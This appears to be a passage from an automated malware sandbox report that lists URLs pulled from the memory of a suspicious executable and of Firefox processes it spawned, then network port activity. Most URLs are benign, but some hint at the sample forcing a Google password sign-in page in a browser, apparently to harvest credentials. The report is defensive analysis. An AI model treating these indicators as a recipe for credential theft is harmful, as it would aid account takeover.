Source: d657e56348.exe, 00000007.00000003.2443532853.00000000058B5000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2443368522.00000000058BC000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2564342928.0000000005D3C000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2565823625.0000000005D35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: d657e56348.exe, 00000007.00000003.2443532853.0000000005890000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2565823625.0000000005D10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: d657e56348.exe, 00000007.00000003.2443532853.00000000058B5000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2443368522.00000000058BC000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2564342928.0000000005D3C000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2565823625.0000000005D35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: d657e56348.exe, 00000007.00000003.2443532853.0000000005890000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2565823625.0000000005D10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: firefox.exe, 0000001B.00000002.2766176950.00000283C8E44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001B.00000002.2686421290.00000283BD02C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001B.00000002.2686421290.00000283BD02C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001B.00000002.2686421290.00000283BD02C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001B.00000002.2686421290.00000283BD02C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001B.00000002.2679974764.00000283B0F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001B.00000002.2809222794.0000308A79704000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com
Source: firefox.exe, 0000001B.00000003.2658257658.00000283C91FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2694303008.00000283BDD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2740059264.00000283C3403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2694303008.00000283BDD7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2709781730.00000283C0978000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2669789234.00000086987BB000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2778488192.00000283C914E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2768561269.00000283C8F3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001B.00000002.2766176950.00000283C8E44000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2642876277.00000283C8E4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2660056563.00000283C9187000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2740059264.00000283C3403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001B.00000003.2660056563.00000283C9187000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2740059264.00000283C3403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 0000001B.00000003.2660056563.00000283C9187000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2778488192.00000283C914E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 0000001B.00000002.2740059264.00000283C3403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: d657e56348.exe, 00000009.00000003.2615006788.0000000005D6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2682655007.00000283BC743000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2682655007.00000283BC7AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2694303008.00000283BDD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD126000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/method
Source: firefox.exe, 0000001B.00000003.2660056563.00000283C9187000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2694303008.00000283BDD24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2740059264.00000283C3403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 0000001B.00000003.2658257658.00000283C91FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2660056563.00000283C9187000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2740059264.00000283C3403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2660056563.00000283C9187000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2778488192.00000283C914E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2740059264.00000283C3403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001B.00000003.2660056563.00000283C9187000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2778488192.00000283C914E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2740059264.00000283C3403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 0000001B.00000003.2658257658.00000283C91FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2740059264.00000283C3403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 0000001B.00000003.2660056563.00000283C9187000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2740059264.00000283C3403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: d657e56348.exe, 00000007.00000003.2444661438.0000000005878000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2444467662.000000000588F000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2567002262.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2566487201.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2566807529.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: d657e56348.exe, 00000009.00000003.2615006788.0000000005D6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2682655007.00000283BC743000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2682655007.00000283BC7AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2694303008.00000283BDD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 0000001B.00000002.2763904263.00000283C8D68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2740059264.00000283C3403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2768561269.00000283C8F3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2646091302.00000283C8EBF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2650892928.00000283C9052000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2584605189.00000283C0C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: d657e56348.exe, 00000007.00000003.2444661438.0000000005878000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2444467662.000000000588F000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2567002262.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2566487201.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2566807529.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeService
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD126000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchget
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2778488192.00000283C914E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001B.00000002.2727458058.00000283C16B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2660056563.00000283C9187000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2778488192.00000283C914E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_ke
Source: firefox.exe, 0000001B.00000003.2660056563.00000283C9187000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2778488192.00000283C914E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 0000001B.00000002.2694303008.00000283BDDA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF03D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2694303008.00000283BDD45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: d657e56348.exe, 00000009.00000003.2613017560.0000000006000000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: d657e56348.exe, 00000009.00000003.2613017560.0000000006000000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: d657e56348.exe, 00000007.00000003.2486902662.0000000005984000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2613017560.0000000006000000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: d657e56348.exe, 00000009.00000003.2613017560.0000000006000000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/startQuery/
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 0000001B.00000002.2682655007.00000283BC75D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2672479060.000001372E3C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001B.00000002.2694303008.00000283BDD24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001B.00000002.2768561269.00000283C8F3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001B.00000002.2768561269.00000283C8F3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: d657e56348.exe, 00000007.00000003.2486902662.0000000005984000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2613017560.0000000006000000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000001B.00000002.2673702752.000000869F73C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000001B.00000002.2753800184.00000283C4371000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001B.00000002.2807609362.00002AD76873B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.come
Source: firefox.exe, 0000001B.00000003.2660056563.00000283C9187000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2740059264.00000283C3403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2768561269.00000283C8F3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD1AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2683792971.00000283BC8A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/addAddonsToCrashReporter/data
Source: firefox.exe, 0000001B.00000003.2660056563.00000283C9187000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2694303008.00000283BDD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2740059264.00000283C3403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2778488192.00000283C914E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2694303008.00000283BDD7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001B.00000002.2807609362.00002AD76873B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.ca
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000001B.00000003.2660056563.00000283C9187000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2740059264.00000283C3403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2762153693.00000283C8C93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2768561269.00000283C8F3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001B.00000002.2686421290.00000283BD011000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2686421290.00000283BD02C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 0000001B.00000002.2809222794.0000308A79704000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com
Source: firefox.exe, 0000001B.00000002.2738119544.00000283C33CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001B.00000002.2762153693.00000283C8C93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 0000001B.00000002.2738119544.00000283C33CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2679974764.00000283B0F5E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749196491.00000283C41BD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2762153693.00000283C8C93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000019.00000002.2565826208.0000016E351E7000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2573054239.0000024BFD9E7000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2679282249.00000283B0C39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: 9ef14397f2.exe, 0000000B.00000003.2593272153.00000000015AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdA
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdCannot
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdCheckerService:#upda
Source: firefox.exe, 0000001B.00000002.2680724883.00000283B27FF000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2680724883.00000283B282B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 0000001B.00000002.2810237729.000039FC4C600000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com?P

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
